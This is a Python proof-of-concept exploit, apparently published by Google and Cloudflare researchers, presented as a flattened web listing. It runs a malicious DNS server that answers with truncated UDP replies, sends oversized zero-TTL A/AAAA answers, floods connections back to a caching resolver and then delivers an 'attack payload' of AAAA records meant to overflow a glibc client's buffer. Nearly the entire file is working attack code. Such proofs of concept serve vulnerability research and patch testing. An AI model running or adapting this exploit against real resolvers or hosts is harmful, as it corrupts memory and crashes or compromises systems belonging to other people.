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#!/usr/bin/python | |
# | |
# Copyright 2016 Google Inc | |
# | |
# Licensed under the Apache License, Version 2.0 (the "License"); | |
# you may not use this file except in compliance with the License. | |
# You may obtain a copy of the License at | |
# | |
# http://www.apache.org/licenses/LICENSE-2.0 | |
# | |
# Unless required by applicable law or agreed to in writing, software | |
# distributed under the License is distributed on an "AS IS" BASIS, | |
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
# See the License for the specific language governing permissions and | |
# limitations under the License. | |
# | |
# Authors: | |
# Fermin J. Serna <fjserna@google.com> | |
# Gynvael Coldwind <gynvael@google.com> | |
# Thomas Garnier <thgarnie@google.com> | |
# Marek Vavrusa <mvavrusa@cloudflare.com> | |
import socket | |
import time | |
import struct | |
import threading | |
IP = '127.0.0.10' # Insert your ip for bind() here... | |
terminate = False | |
def dw(x): | |
return struct.pack('>H', x) | |
def dd(x): | |
return struct.pack('>I', x) | |
def dl(x): | |
return struct.pack('<Q', x) | |
def db(x): | |
return chr(x) | |
# Respond with TC=1 to shift over TCP | |
# This is normal authoritative response with large payload | |
def udp_thread(): | |
global terminate | |
# Handle UDP requests | |
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
sock_udp.bind((IP, 53)) | |
while not terminate: | |
data, addr = sock_udp.recvfrom(1024) | |
print '[UDP] Total Data len recv ' + str(len(data)) | |
id_udp = struct.unpack('>H', data[0:2])[0] | |
# Parse QUESTION (trim EDNS / additionals ...) | |
query_udp = data[12:] | |
endp = 0 | |
while query_udp[endp] != '\x00' and endp < len(query_udp): | |
endp += ord(query_udp[endp]) + 1 # Traverse QNAME | |
query_udp = query_udp[0 : endp + 1 + 4] # +QTYPE +QCLASS | |
qtype = struct.unpack('>H', query_udp[-4:-2])[0] | |
# Send truncated... so it retries over TCP | |
data = dw(id_udp) # id | |
data += dw(0x8380) # flags with truncated set | |
data += dw(1) # questions | |
data += dw(0) # answers | |
data += dw(0) # authoritative | |
data += dw(0) # additional | |
data += query_udp # question | |
sock_udp.sendto(data, addr) | |
sock_udp.close() | |
def tcp_thread(): | |
global terminate | |
#Open TCP socket | |
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
sock_tcp.bind((IP, 53)) | |
sock_tcp.listen(10) | |
counter = 0 | |
while not terminate: | |
conn, addr = sock_tcp.accept() | |
print 'Connected with ' + addr[0] + ':' + str(addr[1]) | |
while True: | |
# Read entire packet | |
try: | |
reqlen = struct.unpack('>H', conn.recv(2))[0] | |
except: | |
print '[TCP] Disconnected' | |
break | |
data = conn.recv(reqlen) | |
# Parse QUESTION (trim EDNS / additionals ...) | |
msgid = struct.unpack('>H', data[0:2])[0] | |
query = data[12:] | |
endp = 0 | |
while query[endp] != '\x00' and endp < len(query): | |
endp += ord(query[endp]) + 1 # Traverse QNAME | |
query = query[0 : endp + 1 + 4] # +QTYPE +QCLASS | |
print '[TCP] Total Data len recv ' + str(len(data)) | |
# Plan responses | |
counter += 1 | |
# First two answers | |
# 1+2. Send back anything big to trigger dnscache sending back TC=1 for UDP client | |
# It must have TTL=0 to make sure dnscache can't reuse it on TCP retry | |
if counter == 1: | |
print '[TCP] Sending back first big answer with TTL=0' | |
data = dw(msgid) # id | |
data += dw(0x8180) # flags (QR, RD, AA) | |
data += dw(1) # questions | |
data += dw(127) # answers | |
data += dw(0) # authoritative | |
data += dw(0) # additional | |
data += query # question | |
# A records in answer | |
for i in range(127): | |
answer = dw(0xc00c) # name compressed | |
answer += dw(1) # type A | |
answer += dw(1) # class | |
answer += dd(0) # ttl | |
answer += dw(4) # data length | |
answer += chr(i) * 4 # data | |
data += answer | |
elif counter == 2: | |
print '[TCP] Sending back second big answer with TTL=0' | |
data = dw(msgid) # id | |
data += dw(0x8180) # flags (QR, RD, AA) | |
data += dw(1) # questions | |
data += dw(127) # answers | |
data += dw(0) # authoritative | |
data += dw(0) # additional | |
data += query # question | |
# AAAA records in answer | |
for i in range(127): | |
answer = dw(0xc00c) # name compressed | |
answer += dw(28) # type AAAA | |
answer += dw(1) # class | |
answer += dd(0) # ttl | |
answer += dw(16) # data length | |
answer += chr(i) * 16 # data | |
data += answer | |
# Second stage - client got TC=1, retried with dnscache over TCP | |
# dnscache asks for two names again because they had TTL=0 | |
# 3. Response length > 2048 | |
# 4. Start spawning TCP connections back to dnscache and wait until the original connection is closed | |
elif counter == 3: | |
print '[TCP] Preparing the attack with answer >2k' | |
data = dw(msgid) # id | |
data += dw(0x8180) # flags (QR, RD, AA) | |
data += dw(1) # questions | |
data += dw(127) # answers | |
data += dw(0) # authoritative | |
data += dw(0) # additional | |
data += query # question | |
# A records in answer | |
for i in range(127): | |
answer = dw(0xc00c) # name compressed | |
answer += dw(1) # type A | |
answer += dw(1) # class | |
answer += dd(0) # ttl | |
answer += dw(4) # data length | |
answer += chr(i) * 4 # data | |
data += answer | |
elif counter == 4: | |
data = None | |
dnscache = (conn.getpeername()[0], 53) | |
print '[TCP] Connecting back to caller to force it close original connection' + str(dnscache) | |
troublefetes = [] | |
conn.setblocking(False) | |
while True: | |
try: | |
for i in range(20): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(dnscache) | |
s.send(struct.pack('>H', 35)) | |
s.setblocking(False) | |
troublefetes.append(s) | |
except: | |
pass | |
try: | |
conn.recv(1) | |
except: | |
print '[TCP] Original connection was terminated, expecting to see requery' | |
break | |
# Final stage - connection between glibc and dnscache was terminated, glibc retried again | |
# and so does dnscache on its behalf | |
# 5. Any valid response | |
# 6. Attack payload | |
elif counter == 5: | |
print '[TCP] Sending back a valid answer in A' | |
data = dw(msgid) # id | |
data += dw(0x8180) # flags (QR, RD, AA) | |
data += dw(1) # questions | |
data += dw(0) # answers | |
data += dw(0) # authoritative | |
data += dw(0) # additional | |
data += query # question | |
elif counter == 6: | |
print '[TCP] Sending back attack payload in AAAA' | |
data = dw(msgid) # id | |
data += dw(0x8180) # flags (QR, RD, AA) | |
data += dw(1) # questions | |
data += dw(127) # answers | |
data += dw(0) # authoritative | |
data += dw(0) # additional | |
data += query # question | |
# AAAA records in answer | |
for i in range(127): | |
answer = dw(0xc00c) # name compressed | |
answer += dw(28) # type AAAA | |
answer += dw(1) # class | |
answer += dd(0) # ttl | |
answer += dw(16) # data length | |
answer += chr(i) * 16 # data | |
data += answer | |
if data != None: | |
conn.sendall(dw(len(data)) + data) | |
sock_tcp.close() | |
if __name__ == "__main__": | |
t = threading.Thread(target=udp_thread) | |
t.daemon = True | |
t.start() | |
tcp_thread() | |
terminate = True |
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